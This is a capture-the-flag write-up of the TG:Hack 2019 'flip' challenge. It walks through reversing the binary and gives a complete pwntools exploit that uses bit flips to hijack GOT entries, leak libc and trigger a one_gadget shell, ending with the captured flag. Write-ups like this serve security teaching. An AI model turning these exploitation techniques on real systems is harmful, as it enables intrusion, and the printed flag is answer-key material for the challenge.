Are You Flipping Kidding Me? Author: PewZ
Can you flip your way to a shell? nc flip.tghack.no 1947
Welcome! The current time is Sat Apr 20 14:27:29 2019
I'll let you flip 5 bits, but that's it!
Enter addr:bit to flip:
The binary allows us to flip 5 bits anywhere. Obviously not enough to do something useful, so we should use this “first round” to get unlimited flips.
But first, some quick reversing of the bianry to know what we can work with
void main(void) {
int i;
puts(buf);
printf("I\'ll let you flip 5 bits, but that\'s it!\n");
i = 0;
while (i < 5) {
do_flip();
i += 1;
}
printf("Thank you for flipping us off!\nHave a nice day :)\n");
exit(0);
}
This looks a bit different, from what we would have expected, the “welcome” message is missing here, but buf
gets printed.
Something seems to be initializing buf
before we enter main.
void __libc_csu_init(EVP_PKEY_CTX *param_1,undefined8 param_2,undefined8 param_3)
{
long lVar1;
_init(param_1);
lVar1 = 0;
do {
(*(&__frame_dummy_init_array_entry)[lVar1])(param_1 & 0xffffffff,param_2,param_3);
lVar1 += 1;
} while (lVar1 != 2);
return;
}
__frame_dummy_init_array_entry
contains a pointer to initialize
void initialize(void)
{
undefined *__format;
tm *__tp;
char *time_str;
long in_FS_OFFSET;
time_t _time;
setvbuf(stdout,NULL,2,0);
setvbuf(stdin,NULL,2,0);
alarm(0x28);
_time = time(NULL);
__tp = localtime(&_time);
__format = welcome_str;
time_str = asctime(__tp);
snprintf(buf,0x7f,__format,time_str,0,0);
return;
}
This makes more sense. initialize
will initialize buf
with the welcome message, which then gets printed in main
.
Ok, after we flipped 5 bits, main
will call exit
to end the program, so exit.got
would make a good target for flipping.
exit.got 0x400766 ==> 0b10000000000011101100110
main 0x400940 ==> 0b10000000000100101000000
_start 00400770 ==> 0b10000000000011101110000
To flip exit.got
to main
, we would need 6 bit flips, which we don’t have. But we can flip exit.got
to _start
(only needs 3 flips), which will also get us back into main
(though executing initialize
again).
#!/usr/bin/python
from pwn import *
import sys
HOST = "flip.tghack.no"
PORT = 1947
def flip(address, bit):
r.sendlineafter("flip: ", "%s:%d" % (hex(address), bit))
def exploit(r):
log.info("Goto infinite loop")
flip(e.got["exit"], 1)
flip(e.got["exit"], 2)
flip(e.got["exit"], 4)
flip(0x601500, 1) # junk
flip(0x601500, 1) # junk
r.interactive()
return
if __name__ == "__main__":
e = ELF("./flip")
libc = ELF("./libc.so.6")
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process("./flip", env={"LD_PRELOAD":"./libc.so.6"})
print util.proc.pidof(r)
pause()
exploit(r)
$ python xpl.py
[+] Starting local process './flip': pid 12789
[12789]
[*] Paused (press any to continue)
[*] Goto infinite loop
[*] Switching to interactive mode
Thank you for flipping us off!
Have a nice day :)
Welcome! The current time is Sat Apr 20 14:43:05 2019
I'll let you flip 5 bits, but that's it!
Enter addr:bit to flip: $
So, we’re back in main
and can still flip some more bits (since exit.got
still points to _start
, the binary will now loop infinitely.)
Time to get some leaks…
buf
gets filled in initialize
via sprintf
and the format string in welcome_str
. If we can point welcome_str
somewhere else, we’ll control, how buf
is initialized. A got entry would be handy…
welcome_str 0x400b51 ==> 0b10000000000101101010001
setvbuf.got 0x601060 ==> 0b11000000001000001100000
To flip 0x400b51
into 0x601060
we need 8 flips, but can only do 5 in one go. Thus we have to make sure, that welcome_str
points to something valid after 5 flips, so initialize
doesn’t crash…
log.info("Overwrite welcome string for leak")
flip(0x601082, 5)
flip(0x601081, 0)
flip(0x601081, 1)
flip(0x601081, 3)
flip(0x601081, 4)
r.recvuntil("that's it!")
welcome_str
will now point to 0x601051
, which doesn’t contain anything useful, but is a valid pointer, so we can continue…
flip(0x601080, 0)
flip(0x601080, 4)
flip(0x601080, 5)
flip(0x601500, 1) # junk
flip(0x601500, 1) # junk
r.recvuntil(":)\n")
SETVBUF = u64(r.recv(6).ljust(8, "\x00"))
libc.address = SETVBUF - libc.symbols["setvbuf"]
log.info("SETVBUF : %s" % hex(SETVBUF))
log.info("LIBC : %s" % hex(libc.address))
welcome_str
now points to 0x601060
, thus buf
gets filled with the content of setvbuf.got
, which can be leaked now and used to calculate libc base.
$ python xpl.py
[+] Starting local process './flip': pid 12887
[12887]
[*] Paused (press any to continue)
[*] Goto infinite loop
[*] Overwrite welcome string for leak
[*] SETVBUF : 0x7ffff7a652f0
[*] LIBC : 0x7ffff79e4000
[*] Switching to interactive mode
I'll let you flip 5 bits, but that's it!
Enter addr:bit to flip: $
And we’re still able to flip bits. But we won’t be able to overwrite any got in one go with a useful address or gadget and every usable got entry will be called via initialize
=> main
.
But
_start 00400770 ==> 0b10000000000011101110000
main 0x400940 ==> 0b10000000000100101000000
We can flip the _start
pointer in exit
to main
in one go now (this needs exactly 5 bit flips). By doing this, the call to exit
will then skip initialize
and jump directly to main again. We can then flip a got, which is only used in initialize
to something useful, and then flip exit
back to _start
after that. By this we have unlimited “rounds” for this.
log.info("Flip exit to main")
flip(0x601068, 4)
flip(0x601068, 5)
flip(0x601069, 1)
flip(0x601069, 2)
flip(0x601069, 3)
I overwrote localtime
with a one gadget because the constraints were easy to fulfill.
Since we have a libc leak, we can calculate the current value of localtime.got
and also the target value we want to store there. We then just have to flip every bit in localtime
which doesn’t match the one in our one_gadget
.
log.info("Overwrite time with one gadget")
ONE = libc.address + 0x10a38c
SOURCE = libc.symbols["localtime"]
log.info("ONE : %s" % hex(ONE))
ONEBIN = bin(ONE)[::-1]
SOURCEBIN = bin(SOURCE)[::-1]
CUROFF = 0x601018
for i in range(len(ONEBIN)):
if ONEBIN[i] != SOURCEBIN[i]:
flip(CUROFF + (i/8), i%8)
flip(0x601500, 1) # junk
Now that we have one_gadget
in localtime
, we’ll just flip exit
back again to _start
, so initialize
will be called again, triggering one_gadget
, giving us a shell :)
log.info("Flip exit to start to trigger onegadget")
flip(0x601068, 4)
flip(0x601068, 5)
flip(0x601069, 1)
flip(0x601069, 2)
flip(0x601069, 3)
r.interactive()
$ python xpl.py 1
[*] '/media/sf_ctf/tghack/flip/flip'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/media/sf_ctf/tghack/flip/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to flip.tghack.no on port 1947: Done
[*] Goto infinite loop
[*] Overwrite welcome string for leak
[*] SETVBUF : 0x7f86df2652f0
[*] LIBC : 0x7f86df1e4000
[*] Flip exit to main
[*] Overwrite time with one gadget
[*] ONE : 0x7f86df2ee38c
[*] Flip exit to start to trigger onegadget
[*] Switching to interactive mode
Thank you for flipping us off!
Have a nice day :)
$ id
uid=1000(tghack) gid=1000(tghack) groups=1000(tghack)
$ ls
flag.txt
flip
$ cat flag.txt
TG19{you_think_this_is_some_kind_of_motherflippin_joke}